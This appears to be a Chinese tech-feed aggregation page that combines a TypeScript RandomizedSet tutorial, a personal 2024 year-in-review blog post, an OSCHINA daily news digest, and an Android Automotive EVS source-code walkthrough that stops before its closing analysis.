小哆啦很快就发现了问题:insertremove 操作的时间复杂度竟然是 O(n)。特别是在进行删除时,数组中的元素需要移动,splice 操作会花费大量时间。而且,随着集合元素的增加,性能问题会变得越来越严重。

“这样下去不行!我需要找个更高效的解决方案。” 小哆啦自言自语。

优化方案:从 O(n) 到 O(1)

经过一番冥思苦想,小哆啦突然灵机一动——哈希表!如果使用一个哈希表来记录每个元素的索引,那么就可以在 O(1) 的时间内判断元素是否存在,并在 O(1) 时间内插入和删除元素。

为了进一步优化,数组仍然用来存储元素,哈希表的作用仅仅是提供快速查找和删除。

改进后的代码:

class RandomizedSet {
    private valToIndex: Map<number, number>;  // 值到索引的映射
    private values: number[];  // 用于存储所有的值

    constructor() {
        this.valToIndex = new Map();
        this.values = [];
    }

    // 插入元素
    insert(val: number): boolean {
        if (this.valToIndex.has(val)) {
            return false;  // 如果元素已存在,返回 false
        }
        // 插入新元素到数组末尾,并更新哈希表中的映射
        this.valToIndex.set(val, this.values.length);
        this.values.push(val);
        return true;
    }

    // 删除元素
    remove(val: number): boolean {
        if (!this.valToIndex.has(val)) {
            return false;  // 如果元素不存在,返回 false
        }

        // 获取要删除元素的索引
        const index = this.valToIndex.get(val)!;
        // 获取数组中的最后一个元素
        const lastVal = this.values[this.values.length - 1];
        
        // 将最后一个元素移到要删除的元素位置
        this.values[index] = lastVal;
        this.valToIndex.set(lastVal, index);

        // 删除数组中的最后一个元素
        this.values.pop();
        this.valToIndex.delete(val);
        return true;
    }

    // 获取随机元素
    getRandom(): number {
        const randomIndex = Math.floor(Math.random() * this.values.length);
        return this.values[randomIndex];
    }
}

优化思路:

  1. insert(val)

    • 使用哈希表 valToIndex 来检查元素是否已经存在,查找时间复杂度是 O(1)。
    • 将元素插入到 values 数组末尾,插入操作 O(1)。
  2. remove(val)

    • 先通过哈希表快速查找元素的位置。
    • 将数组中的最后一个元素移动到要删除的位置,保持数组连续性,时间复杂度 O(1)。
    • 删除数组的最后一个元素,时间复杂度 O(1)。
  3. getRandom()

    • values 数组中随机选择一个元素,时间复杂度 O(1)。

结果与总结

经过小哆啦的努力,他终于将 RandomizedSet 的操作时间复杂度从 O(n) 优化到 O(1)。通过巧妙地结合使用哈希表和数组,他成功地解决了这个挑战,成为了编程王国的英雄。

小哆啦对自己充满了信心:“编程的世界里,任何问题都有最优的解决方案。只要冷静分析,灵感总会到来!”

by DoraBigHead at January 20, 2025 03:22 PM

2024总结

2024年工作、生活上处理了一些大事。比较开心的是23年主题是成长,24年还是成长,说明自己还在不断学习,挺好。

工作

媳妇目前管理的资金规模有新的提升,公司也相对稳定了。24年帮忙做了一次机房迁移、一台服务器组装、几次服务配置。

我这边工作内容没变,从推动Coze中国区上线,一直到年前的Project上线,看到了Coze的不断发展,产品的定位有一些变化,导致架构也有所调整。

工作强度上比23年要轻不少,凌晨下班、周末加班的时候也少了。不同的时期行为不一样。

今年代码量有点少,预计5K左右吧,比起去年6W少了很多,主要是管理上占了很多时间,很难拿出大块的时候跟进完整项目。最近有个项目,也参与研发,果然写代码能带来比较纯粹的快乐,如同打怪一样,完成一个就很有成就感。25年管理要做,代码也要尽量写。

生活

生活上有不少值得记录的事情

  1. 一月份做完了房子赠与;房子的购买

  2. 四月份搞机房迁移;还完车贷;房子出租

  3. 五月份搬家到朝阳,媳妇成功从抓娃娃机里抓到两个娃娃;开始每天早晨到公司锻炼身体,45分钟,今年锻炼了100次

  4. 六月份去石景山游乐园玩,果然我要是买通票就太亏了

  5. 七月份去首钢园;团建去打高尔夫

  6. 八月份回了趟老家

  7. 九月份搞了台Switch,开始尝试一下游戏

  8. 十月份重新就弓馆练习射箭;舍友来北京,一起小聚;同时开始处理人生大事

  9. 十一月组织第六季团建

  10. 十二月去上海参加火山Force大会;组装服务器

每个月总有一些计划外的事情,人生就是这样,接受就好。

学习

现在的时间安排是早晨地铁上看非技术的书,中午记录一下感想,晚上回家看技术的书,周末看技术的书。后两项还没有真正的实行起来,需要努力。

阅读

今年读完7本书,剩下三本读了一部分

  1. 资治通鉴的第一、第二册读完,第三册读了一半

  2. 手机摄影入门

  3. 体能攻略

  4. 先秦诸子思想

  5. 技术面试官识人手册

  6. 从0开始学架构

  7. 微服务架构实战160讲 - Zuul+JWT

  8. 论语 - 三章

今年之所以非技术的多一点,是因为有很多问题不是纯技术方面的,这些或许对我有所帮助。后续要增加技术方向的阅读量。

管理

24年在管理方面遇到了新的问题,也有了新的感悟,这也是为什么我要去看面试《技术面试官识人手册》和以前的《技术管理实战》《领导梯队》。

技术能力是程序员的基础,但不同时期,需要的能力不一样,我们需要尽量补全。有时候看一些和技术不想关的书未必是坏事。

博客

今年一共写了43篇博客,其中架构方面13篇,编程语言0篇,数据库2篇,VMware vSphere 0篇,服务器1篇,组网0篇,算法0篇,设计模式0篇,读书笔记8篇,思考16篇,小工具0篇,AI 1篇。

这么看技术和思考并重,这个比例没什么问题。如果25年能自我控制的好一些,文章数量会有所提升。

来看一下博客上面的数据,写东西嘛,自己开心就好。

  1. 公众号(程序员麻辣烫):去年粉丝1780人,今年1944人,提升9%。这个人数很长时间没有增长了,可能是因为硬件相关的内容写的少了。

  2. 掘金:倔力值7897,还是是L5。去年关注者150,今年175。文章去年阅读17.3W,今年20.8W,去年被点赞668,今年747。文章去年阅读量11.3W,增长53%还是不错的。今年共14篇文章被推荐到首页。我掘金的账号应该被玩坏了,可能因为发了一些非技术的文章,现在浏览量很低,即使被推荐到首页,也就一位数或者两位数的阅读量,心态放平吧,如果只能发技术文章,可能这个渠道我也不发布了。

  3. CSDN:增长的很好。去年29W访问量,今年40W,增长38%。去年总排名6000内,今年5600。去年粉丝2W,几年2.3W。去年396赞,今年944赞,去年1036收藏,今年1728收藏。CSDN目前做的不错,对博客主更友好一些,不太管文章的类型,如果是频繁更新的博主有流量倾斜,而且可以设置粉丝可见模式,要阅读全文需要关注。这个方案相对公平,我写文章也消耗时间,想阅读点个关注也不算过分。

  4. 知乎:关注者去年1.7K,今年1839,赞同去年1137次,今年1317次,去年2182次收藏,今年2330次,去年阅读次数48W,今年56W,比去年提升17%。

  5. 头条号:同步功能没有了,所以不更新了。

还是要放平心态,博客可以自我记录、增加影响力,对我而言,主要作用是自我记录,所以增长情况没有太多要求。保持平常心就好。

展望未来

需要整理一下2025年的规划了,工作(规划、管理)、生活(健康、家庭)、学习(技术、管理、思考深度),一年一年过得挺充实,其实是个好事情。

希望大家在2025年都身体健康、事业顺利!!!

by 程序员麻辣烫 at January 20, 2025 03:11 PM

oschina news industry

开源日报 | 小米NAS进展曝光;《2024 中国开源开发者报告》;未来产品经理远比程序员重要;中国互联网集体告别青春期

欢迎阅读 OSCHINA 编辑部出品的开源日报,每天更新一期。

# 2025.1.20

今日要闻

《2024 中国开源开发者报告》正式发布

这份报告由开源中国 OSCHINA、Gitee 与 Gitee AI 联合出品,聚焦 AI 大模型领域,对过去一年的技术演进动态、技术趋势、以及开源开发者生态数据进行多方位的总结和梳理。

报告整体分为三章:

  1. 中国开源开发者生态数据
  2. TOP 101-2024 大模型观点
  3. 国产 GenAI 生态高亮瞬间

查看完整报告2024 中国开源开发者报告.pdf

微信 iOS 版 8.0.55 大规模灰度 CallKit

近日,大量 iOS 版微信用户在社交平台反馈,自己的微信在更新 8.0.55 版本后开始支持 CallKit 功能,并适配灵动岛通知样式。在有微信语音和视频通话时,会在横幅位置显示来电的名称、拒绝和接受按钮选项。

据了解,苹果 CallKit 功能指可将第三方网络通信集成在 iPhone 自带的通话功能中,以提供更灵活的通话体验。微信支持 CallKit 后,即便微信在后台或者处于关闭状态,包括 iPhone 锁屏状态下,好友拨打的微信语音通话也能像普通电话一样,在系统级的通话界面显示。

同时因为接入 CallKit 功能,其通话提醒弹窗会以「灵动岛」形式显示,「微信登上灵动岛」相关话题也冲上热搜。

小米 NAS 进展曝光:造型简洁、实力强悍

日前,小米生态链总经理陈波在一次直播当中公开了小米 NAS 产品的最新进展,他表示产品目前已经进入到开发的尾声阶段,逐渐要转入到制造和落地。首版打样进行了多轮测试,并透露小米 NAS 会延续小米生态产品一向的简约、高级、优雅,有一些科技感。

虽然陈波并未在直播中透露小米 NAS 具体的上市时间,但根据开发进度来看,今年内有落地上市的机会,那么小米要做家庭 NAS 存储领域的销量之王吗?

陈波曾透露小米 NAS 的三大核心能力,第一,打通手机、PC、电视、平板电脑等设备,实现扩容、AI 相册;第二,打造家庭影视中心,能够生成私人影院海报墙,用户可以随心点播 NAS 内的电影资源;第三,为有基础存储需求的用户提供丰富的网盘管理和资源下载能力。  

TikTok 主动宣布停止服务后恢复上线

美国西部时间 19 日 9 时 30 分(北京时间 20 日 1 时 30 分)左右,TikTok 主动宣布停止服务后,在社交媒体平台 X 上发表声明称:

正在恢复对美国用户的服务。感谢美国候任总统特朗普向 TikTok 的互联网服务提供商做出了必要的澄清和保证,使其不会为协助维护 TikTok 正常运转而遭受处罚,并将与其合作制定一项长期解决方案,让 TikTok 继续 “留在美国”。目前 TikTok 应用程序已恢复正常使用,TikTok 网站也已恢复正常。

据此前报道,美国当选总统特朗普在社交媒体发文称,将于周一(1 月 20 日)发布一项行政命令,延长 TikTok 禁令法定生效前的时限。他还称,在行政命令下达前,任何协助 TikTok 避免关停的公司都无需承担责任。特朗普另外表示,为了 “拯救 TikTok”,他希望美方 “能在未来的合资企业中拥有 50% 的所有权”。据此,Tiktok 未来或许会是美资公司,至少一半是美国资本。


今日观察

社交观察

吴恩达:未来产品经理远比程序员重要

经济学表明,当两种商品是互补品时(如汽车与汽油),其中一种商品的价格下降会导致另一种商品的需求增加。例如,汽车价格下降时,购买汽车的人会增多,对汽油需求也就会上升。类似的情况也会发生在软件行业。当构建规范明确时,AI 正在使开发过程变得更快、费用更低。这会大幅增加能够制定清晰规范、构建有价值产品的人的需求。

这就是为什么我对产品经理的未来感到兴奋的原因,尤其对 AI 产品经理的未来感到兴奋。

- 微信 AI大模型实验室

Redis Async IO Thread:突破百万级 QPS 的性能极限

在 Redis 8.0 M3 版本中实现了 Async IO Thread,进一步提升 Redis 性能,在部分场景中可突破百万 QPS。本文主要讨论 Redis IO 多线程的必要性,分析现有版本的不足,介绍 Async IO Thread 的实现并进行性能测试。

- 微信 Redis Gossip

DeepSeek 开源了两个新的推理模型

deepseek开源了两个新的推理模型:DeepSeek-R1和DeepSeek-R1-Zero。同时也开放了思维链的API:deepseek-reasoner。
 
DeepSeek-R1-Zero 是一个通过大规模强化学习 (RL) 训练的模型,没有将监督微调 (SFT) 作为预备步骤,它在推理方面表现出卓越的性能。通过强化学习,DeepSeek-R1-Zero 自然而然地涌现出许多强大且有趣的推理行为。
 
- 微博  蚁工厂

媒体观察

国产服务器市场将迎发展关键期

国产服务器市场规模增速远高于我国服务器市场整体水平。《报告》显示,2023年,国产服务器市场保持较快增长,销量同比增长28.3%,市场占比由2022年的11.8%提升至2023年的16.7%;销售额同比增长80.9%,增速高于我国服务器市场超70个百分点以上,市场占比由2022年的17.2%提升至2023年的27.1%。

- 科技日报

AI眼镜市场热度持续升温 A股公司积极布局

拍摄、听歌、翻译、会议记录、AI(人工智能)助手……曾经需要多种设备才能实现的一系列功能,如今已被集成在一副小小的眼镜上。作为AI落地的创新终端,AI眼镜的热度正不断升温。

- 证券日报

黄仁勋现身北京:在一定程度上,中国“养育”了英伟达

他在回顾计算机行业60年的发展历程时提到,当下不仅是作为一年新的新开始,也是一个新时代的开始,是AI引领的新计算机时代的开始。英伟达所做“重新发明了计算机”,基于英伟达GPU的新型计算机正是AI发展的关键。

- 界面新闻

o3被曝成绩造假数学泰斗集体被耍!OpenAI暗中操控,考卷提前看光

FrontierMath的o3惊人表现,竟是因OpenAI资助了Epoch AI而提前获得大部分试题访问权。OpenAI模型的性能究竟几分是真,几分炒作,愈来愈变得扑朔迷离。

- 新智元

美团、字节联手投资3D生成大模型

3D 生成大模型公司影眸科技完成了新一轮数千万美元 A 轮融资,本轮融资由美团龙珠、字节跳动领投,老股东红杉中国种子基金及奇绩创坛跟投,光源资本担任独家财务顾问。

- 创投日报

中国互联网,集体告别青春期

在这个青春期尾巴上的最后几年,几乎所有中国互联网公司都不得不意识到,互联网行业不可能对所有的传统产业发起“降维打击”,必须对传统保持足够的谦卑和敬畏。

- 雪豹财经社


今日推荐

开源项目

gristlabs/grist-core

https://github.com/gristlabs/grist-core

Grist 是一种现代的关系电子表格 (relational spreadsheet)。它结合了电子表格的灵活性和数据库的健壮性来组织数据。Grist 的一列可以是一张表,用来保存某一种数据,同传统 Excel 类似,它可以用公式来填充单元格内容。

每日一博

一种可复用的 AI 提效方案:AI 点灯

在当今飞速发展的时代,AI 技术正不断渗透到我们生活的各个层面,深刻改变着传统的工作方式和生活模式。面对这一重大变革,我们不能被动观望或抗拒,而应积极拥抱 AI,将其作为成长的助力。只有与 AI 协同发展,才能在这场技术革新的浪潮中立于不败之地,顺势而为才能事半功倍。


开源之声

用户观点

小米 NAS 进展曝光:造型简洁、实力强悍

  • 观点 1:nas问题很多,有各种后门,群晖甚至必须要实名认证,西数nas漏洞直接让用户文件全部被删。
    • 观点 2:又不代表小米nas会有问题
    • 观点 3:自己搞
  • 观点 4:还是自己买加linux好
  • 观点 5:价格合适就买
  • 观点 6:我是不信这些厂商的,还是自己用PC机做NAS最可靠了,这些厂商私货后门有的是,不要太高估他们的道德。

DBeaver 24.3.3 发布

  • 观点 1:标签页的搜索前几个版本出问题了,现在还没修复
  • 观点 2:我一直不知道这玩意咋更新每次点更新就给你下载个安装包而且还不会自己安装
  • 观点 3:现在更新还是全量更新方式,每次都是全量下载,他自己更新还下载不下来

---END---

 

by 来源: OSCHINA at January 20, 2025 02:14 PM

juejin android

Android车载应用之EvsCameraPreview源码分析(三)

0 引言

Android车载应用之EvsCameraPreview源码分析(二)中重点分析了startActivity过程,指名了自定义Evs应用的重点修改位置。接下来这篇文章想要介绍一下整个Evs应用的启动流程。

分析Evs的启动过程首先从查看Evs的日志开始,这里我们可以看到Evs的启动有几个关键的组件:evsmanagerd、EvsApp、android.hardware.automotive.evs-aidl-default-service和CAR.EVS这三个部分,下面将详细介绍它们。

image.png

1 evsmanagerd

evsmanagerd 是 EVS 系统中的核心管理进程(服务),负责初始化硬件服务、配置线程池并处理与硬件服务的通信。它通过命令行参数支持灵活的配置,包括连接模拟硬件或指定目标硬件服务。启动过程中,evsmanagerd 启动一个独立线程与硬件服务进行连接,并将主线程加入到线程池中,确保硬件交互的高效性和稳定性。整个过程确保了 EVS 系统能够在多线程环境下顺畅运行,并为后续的功能提供基础。

与evsmanagerd相关的代码位置在packages/services/Car/cpp/evs/manager中。

1.1 evsmanagerd.rc和init.evs.rc

evsmanagerd.rc的配置代码如下:

service evsmanagerd /system/bin/evsmanagerd
    class early_hal
    priority -20
    user automotive_evs
    group automotive_evs system
    disabled # will not automatically start with its class; must be explicitly started.

这段配置文件描述了 evsmanagerd 服务的启动方式。它将服务设置为在早期硬件抽象层阶段启动,并指定了较高的优先级以确保尽早运行。服务会以 automotive_evs 用户身份运行,并且默认是禁用的,需要显式启动。这种配置可以确保 evsmanagerd 在系统启动时按需启动,并提供与硬件交互的支持。

init.evs.rc的配置代码如下:

on late-init
    start evsmanagerd

这段配置通过 on late-init 确保在系统初始化的后期阶段启动 evsmanagerd 服务。这使得 evsmanagerd 在所有早期系统服务和硬件服务准备完毕后启动,从而避免干扰系统的初期启动过程,并确保其依赖的硬件服务已就绪。

1.2 Android.bp

重点找到与evsmanagerd服务进程相关的部分:

cc_binary {
    name: "evsmanagerd",
    defaults: ["evsmanagerd_defaults"],
    static_libs: ["libevsmanagerd"],
    srcs: ["src/service.cpp"],
    init_rc: ["evsmanagerd.rc"],
    vintf_fragments: ["manifest_evsmanagerd.xml"],
}

可以看到service.cpp文件就是实现evsmanagerd服务进程的源代码。

1.3 service.cpp

main函数的代码如下:

int main(int argc, char** argv) {
    LOG(INFO) << "EVS manager starting";

    // 命令行参数解析
    bool printHelp = false;
    std::string_view evsHardwareServiceName = kHardwareEnumeratorName;
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "--mock") == 0) {
            evsHardwareServiceName = kMockEnumeratorName;
        } else if (strcmp(argv[i], "--target") == 0) {
            i++;
            if (i >= argc) {
                LOG(ERROR) << "--target <service> was not provided with a service name";
            } else {
                evsHardwareServiceName = argv[i];
            }
        } else if (strcmp(argv[i], "--help") == 0) {
            printHelp = true;
        } else {
            printf("Ignoring unrecognized command line arg '%s'\n", argv[i]);
            printHelp = true;
        }
    }

    // 打印帮助信息
    if (printHelp) {
        printf("Options include:\n");
        printf("  --mock                   Connect to the mock driver at EvsEnumeratorHw-Mock\n");
        printf("  --target <service_name>  Connect to the named IEvsEnumerator service");
        return EXIT_SUCCESS;
    }

    // 设置线程池的最大线程数为 1
    if (!ABinderProcess_setThreadPoolMaxThreadCount(/* numThreads = */ 1)) {
        LOG(ERROR) << "Failed to set thread pool";
        return EXIT_FAILURE;
    }

    // 创建一个新的线程来启动硬件服务连接(startService函数),确保硬件服务不会阻塞主线程
    std::thread registrationThread(startService, evsHardwareServiceName, kManagedEnumeratorName);

    // 主线程加入线程池,开始等待和处理来自硬件服务的 RPC 请求
    ABinderProcess_startThreadPool();
    LOG(INFO) << "Main thread entering thread pool";

    ABinderProcess_joinThreadPool();
    LOG(ERROR) << "EVS Hardware Enumerator is shutting down";

    return EXIT_SUCCESS;
}

通过startService函数来看看具体是怎么连接硬件服务的:

void startService(const std::string_view& hardwareServiceName,
                  const std::string_view& managerServiceName) {
    // 创建Enumerator类型的aidlService对象,并调用init函数进行初始化
    LOG(INFO) << "EVS managed service connecting to hardware service at " << hardwareServiceName;
    std::shared_ptr<Enumerator> aidlService = ::ndk::SharedRefBase::make<Enumerator>();
    if (!aidlService->init(hardwareServiceName)) {
        LOG(FATAL) << "Error while connecting to the hardware service, " << hardwareServiceName;
    }

    // 注册aidl服务
    const std::string instanceName =
            std::string(Enumerator::descriptor) + kSeparator + std::string(managerServiceName);
    LOG(INFO) << "EVS managed service is starting as " << instanceName;
    auto aidlStatus =
            AServiceManager_addService(aidlService->asBinder().get(), instanceName.data());
    if (aidlStatus != EX_NONE) {
        LOG(FATAL) << "Error while registering EVS manager service: "
                   << ::android::statusToString(aidlStatus);
    }

    // 注册hidl服务(可选)
    configureRpcThreadpool(/* maxThreads = */ 1, /* callerWillJoin = */ false);
    ::android::sp<::android::hardware::automotive::evs::V1_1::IEvsEnumerator> hidlService =
            new (std::nothrow) HidlEnumerator(aidlService);
    if (!hidlService) {
        LOG(WARNING) << "Failed to initialize HIDL service";
    } else {
        auto hidlStatus = hidlService->registerAsService(managerServiceName.data());
        if (hidlStatus != ::android::OK) {
            LOG(WARNING) << "Failed to register EVS manager service to the hwservice manager, "
                         << ::android::statusToString(hidlStatus);
        }
    }

    LOG(INFO) << "Registration complete";
}

startService函数的主要工作是通过Enumerator类的init函数不断地连接硬件服务,连接上硬件服务后将其注册到服务管理器中。init函数中不断连接并重启部分的代码如下:

while (!mHwEnumerator && retryCount < (kTimeoutMilliseconds / kSleepTimeMilliseconds)) {
        mHwEnumerator = connectToAidlHal(hardwareServiceName, /* blocking= */ false);
        if (!mHwEnumerator) {
            LOG(INFO) << "Failed to connect to AIDL EVS HAL implementation.  "
                      << "Trying to connect to HIDL EVS HAL implementation instead.";
            mHwEnumerator = connectToHidlHal(hardwareServiceName);
            if (!mHwEnumerator) {
                LOG(INFO) << "No EVS HAL implementation is available.  Retrying after "
                          << kSleepTimeMilliseconds << " ms";
                std::this_thread::sleep_for(std::chrono::milliseconds(kSleepTimeMilliseconds));
                ++retryCount;
            }
        }
    }

它会首先尝试AIDL接口的EVS HAL实现,然后再尝试HIDL的EVS HAL实现,如果都无法连接则会进行重启。从log信息中也可以看出来。

image.png

可以看到,连接上的HAL实现名称为android.hardware.automotive.evs.IEvsEnumerator/default,咱们找到相关部分的代码详细分析。

2 android.hardware.automotive.evs-aidl-default-service

android.hardware.automotive.evs-aidl-default-service 是 Android 为车载系统提供的一项 AIDL 服务,用于与 EVS 硬件(如摄像头)进行交互。它主要负责为系统提供实时的视频流数据,供应用程序或系统组件使用,支持车载系统中的增强视觉功能。

和它相关的代码目录在hardware/interfaces/automotive/evs/aidl/impl/default/位置。

2.1 evs-default-service.rc

该服务的rc定义如下:

service vendor.evs-hal-default /vendor/bin/hw/android.hardware.automotive.evs-aidl-default-service
    class early_hal
    priority -20
    user graphics
    group automotive_evs camera
    onrestart restart cardisplayproxyd
    onrestart restart evsmanagerd
    disabled

它将android.hardware.automotive.evs-aidl-default-service进程定义为vendor.evs-hal-default服务,并且在该服务崩溃重启时,同时会重启cardisplayproxyd和evsmanagerd服务。

2.2 service.cpp

service.cpp中包含了服务的具体实现代码:

int main() {
    LOG(INFO) << "EVS Hardware Enumerator service is starting";

    // 检测显示服务是否声明
    const std::string displayServiceInstanceName =
            std::string(ICarDisplayProxy::descriptor) + std::string(kDisplayServiceInstanceName);
    if (!AServiceManager_isDeclared(displayServiceInstanceName.data())) {
        // TODO: We may just want to disable EVS display.
        LOG(ERROR) << displayServiceInstanceName << " is required.";
        return EXIT_FAILURE;
    }

    // 获取显示服务
    std::shared_ptr<ICarDisplayProxy> displayService = ICarDisplayProxy::fromBinder(
            ::ndk::SpAIBinder(AServiceManager_waitForService(displayServiceInstanceName.data())));
    if (!displayService) {
        LOG(ERROR) << "Cannot use " << displayServiceInstanceName << ".  Exiting.";
        return EXIT_FAILURE;
    }

    // 创建 EVS 枚举器服务实例 `service`,并将 `displayService` 作为参数传入,表示与显示服务集成。
    std::shared_ptr<EvsEnumerator> service =
            ndk::SharedRefBase::make<EvsEnumerator>(displayService);
    if (!service) {
        LOG(ERROR) << "Failed to instantiate the service";
        return EXIT_FAILURE;
    }

    // 通过 AServiceManager_addService 注册 EVS 服务
    const std::string instanceName =
            std::string(EvsEnumerator::descriptor) + std::string(kHwInstanceName);
    auto err = AServiceManager_addService(service->asBinder().get(), instanceName.data());
    if (err != EX_NONE) {
        LOG(ERROR) << "Failed to register " << instanceName << ", exception = " << err;
        return EXIT_FAILURE;
    }

    // 设置线程池并加入线程循环,保证正常服务运行
    if (!ABinderProcess_setThreadPoolMaxThreadCount(kNumBinderThreads)) {
        LOG(ERROR) << "Failed to set thread pool";
        return EXIT_FAILURE;
    }

    ABinderProcess_startThreadPool();
    LOG(INFO) << "EVS Hardware Enumerator is ready";

    ABinderProcess_joinThreadPool();
    // In normal operation, we don't expect the thread pool to exit
    LOG(INFO) << "EVS Hardware Enumerator is shutting down";
    return EXIT_SUCCESS;
}

这段代码实现了 EVS 硬件枚举器服务的启动流程,关键步骤包括:

  • 检查并获取显示服务:首先验证并获取与显示相关的服务实例。
  • 实例化 EVS 枚举器服务:通过显示服务实例化 EvsEnumerator 服务。
  • 注册服务到服务管理器:将 EVS 服务注册到系统的服务管理器,使其他组件可以访问。
  • 设置并启动线程池:配置线程池并启动,确保可以处理并发的请求。

evsmanagerd获取的硬件服务就是该服务。

3 EvsApp

从引言中日志记录可以看到,EvsApp一直在尝试获取 EVS Enumerator,直到evsmanagerd获取到硬件服务后。 EvsApp负责初始化并管理 EVS 硬件、显示、车辆信号(例如:倒车档位信号),以及与 Vehicle HAL 的通信。 和它相关的代码在packages/services/Car/cpp/evs/apps/default中。

int main(int argc, char** argv) {
    LOG(INFO) << "EVS app starting";

    // Set up default behavior, then check for command line options
    bool useVehicleHal = true;
    bool printHelp = false;
    const char* evsServiceName = "default";
    int displayId = -1;
    bool useExternalMemory = false;
    android_pixel_format_t extMemoryFormat = HAL_PIXEL_FORMAT_RGBA_8888;
    int32_t mockGearSignal = static_cast<int32_t>(VehicleGear::GEAR_REVERSE);
    // 命令行参数解析
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "--test") == 0) {
            useVehicleHal = false;
        } else if (strcmp(argv[i], "--hw") == 0) {
            evsServiceName = "EvsEnumeratorHw";
        } else if (strcmp(argv[i], "--mock") == 0) {
            evsServiceName = "EvsEnumeratorHw-Mock";
        } else if (strcmp(argv[i], "--help") == 0) {
            printHelp = true;
        } else if (strcmp(argv[i], "--display") == 0) {
            displayId = std::stoi(argv[++i]);
        } else if (strcmp(argv[i], "--extmem") == 0) {
            useExternalMemory = true;
            if (i + 1 >= argc) {
                // use RGBA8888 by default
                LOG(INFO) << "External buffer format is not set.  "
                          << "RGBA8888 will be used.";
            } else {
                if (!convertStringToFormat(argv[i + 1], &extMemoryFormat)) {
                    LOG(WARNING) << "Color format string " << argv[i + 1]
                                 << " is unknown or not supported.  RGBA8888 will be used.";
                } else {
                    // move the index
                    ++i;
                }
            }
        } else if (strcmp(argv[i], "--gear") == 0) {
            // Gear signal to simulate
            if (i + 1 >= argc) {
                LOG(INFO) << "Gear signal is not set.  "
                          << "Reverse signal will be used.";
                continue;
            }
            i += 1;  // increase an index to next argument
            if (strcasecmp(argv[i], "Park") == 0) {
                mockGearSignal = static_cast<int32_t>(VehicleGear::GEAR_PARK);
            } else if (strcasecmp(argv[i], "Reverse") != 0) {
                LOG(WARNING) << "Unknown gear signal, " << argv[i] << ", is ignored "
                             << "and the reverse signal will be used instead";
            }
        } else {
            printf("Ignoring unrecognized command line arg '%s'\n", argv[i]);
            printHelp = true;
        }
    }
    if (printHelp) {
        printf("Options include:\n");
        printf("  --test\n\tDo not talk to Vehicle Hal, "
               "but simulate a given mock gear signal instead\n");
        printf("  --gear\n\tMock gear signal for the test mode.");
        printf("  Available options are Reverse and Park (case insensitive)\n");
        printf("  --hw\n\tBypass EvsManager by connecting directly to EvsEnumeratorHw\n");
        printf("  --mock\n\tConnect directly to EvsEnumeratorHw-Mock\n");
        printf("  --display\n\tSpecify the display to use.  If this is not set, the first"
               "display in config.json's list will be used.\n");
        printf("  --extmem  <format>\n\t"
               "Application allocates buffers to capture camera frames.  "
               "Available format strings are (case insensitive):\n");
        printf("\t\tRGBA8888: 4x8-bit RGBA format.  This is the default format to be used "
               "when no format is specified.\n");
        printf("\t\tYV12: YUV420 planar format with a full resolution Y plane "
               "followed by a V values, with U values last.\n");
        printf("\t\tNV21: A biplanar format with a full resolution Y plane "
               "followed by a single chrome plane with weaved V and U values.\n");
        printf("\t\tYUYV: Packed format with a half horizontal chrome resolution.  "
               "Known as YUV4:2:2.\n");

        return EXIT_FAILURE;
    }

    // 加载配置信息(车辆、显示器和相机)
    ConfigManager config;
    if (!config.initialize(CONFIG_OVERRIDE_PATH)) {
        if (!config.initialize(CONFIG_DEFAULT_PATH)) {
            LOG(ERROR) << "Missing or improper configuration for the EVS application.  Exiting.";
            return EXIT_FAILURE;
        }
    }

    // 线程池配置
    if (!ABinderProcess_setThreadPoolMaxThreadCount(/* numThreads= */ 1)) {
        LOG(ERROR) << "Failed to confgiure the binder thread pool.";
        return EXIT_FAILURE;
    }
    ABinderProcess_startThreadPool();

    // Construct our async helper object
    std::shared_ptr<EvsVehicleListener> pEvsListener = std::make_shared<EvsVehicleListener>();

    // 获取EVS Enumerator服务(evsmanagerd中注册的服务)
    LOG(INFO) << "Acquiring EVS Enumerator";
    std::string serviceName =
            std::string(IEvsEnumerator::descriptor) + "/" + std::string(evsServiceName);
    if (!AServiceManager_isDeclared(serviceName.c_str())) {
        LOG(ERROR) << serviceName << " is not declared. Exiting.";
        return EXIT_FAILURE;
    }

    pEvsService = IEvsEnumerator::fromBinder(
            ndk::SpAIBinder(AServiceManager_checkService(serviceName.c_str())));
    if (!pEvsService) {
        LOG(ERROR) << "Failed to get " << serviceName << ". Exiting.";
        return EXIT_FAILURE;
    }

    // 获取EVS Display服务
    LOG(INFO) << "Acquiring EVS Display";

    // We'll use an available display device.
    displayId = config.setActiveDisplayId(displayId);
    if (displayId < 0) {
        PLOG(ERROR) << "EVS Display is unknown.  Exiting.";
        return EXIT_FAILURE;
    }

    if (auto status = pEvsService->openDisplay(displayId, &pDisplay); !status.isOk()) {
        LOG(ERROR) << "EVS Display unavailable.  Exiting.";
        return EXIT_FAILURE;
    }

    config.useExternalMemory(useExternalMemory);
    config.setExternalMemoryFormat(extMemoryFormat);

    // 设置模拟倒车信号
    config.setMockGearSignal(mockGearSignal);

    // 连接到Vehicl HAL
    std::shared_ptr<IVhalClient> pVnet;
    if (useVehicleHal) {
        LOG(INFO) << "Connecting to Vehicle HAL";
        pVnet = IVhalClient::create();
        if (pVnet == nullptr) {
            LOG(ERROR) << "Vehicle HAL getService returned NULL.  Exiting.";
            return EXIT_FAILURE;
        } else {
            auto subscriptionClient = pVnet->getSubscriptionClient(pEvsListener);
            // Register for vehicle state change callbacks we care about
            // Changes in these values are what will trigger a reconfiguration of the EVS pipeline
            if (!subscribeToVHal(subscriptionClient.get(), VehicleProperty::GEAR_SELECTION)) {
                LOG(ERROR) << "Without gear notification, we can't support EVS.  Exiting.";
                return EXIT_FAILURE;
            }
            if (!subscribeToVHal(subscriptionClient.get(), VehicleProperty::TURN_SIGNAL_STATE)) {
                LOG(WARNING) << "Didn't get turn signal notifications, so we'll ignore those.";
            }
        }
    } else {
        LOG(WARNING) << "Test mode selected, so not talking to Vehicle HAL";
    }

    // 创建并启动 EvsStateControl(状态控制器)来管理 EVS 服务的状态。
    LOG(INFO) << "Constructing state controller";
    pStateController = new EvsStateControl(pVnet, pEvsService, pDisplay, config);
    if (!pStateController->startUpdateLoop()) {
        LOG(ERROR) << "Initial configuration failed.  Exiting.";
        return EXIT_FAILURE;
    }

    // Run forever, reacting to events as necessary
    LOG(INFO) << "Entering running state";
    pEvsListener->run(pStateController);

    // In normal operation, we expect to run forever, but in some error conditions we'll quit.
    // One known example is if another process preempts our registration for our service name.
    LOG(ERROR) << "EVS Listener stopped.  Exiting.";

    return EXIT_SUCCESS;
}

主要功能分析如下:

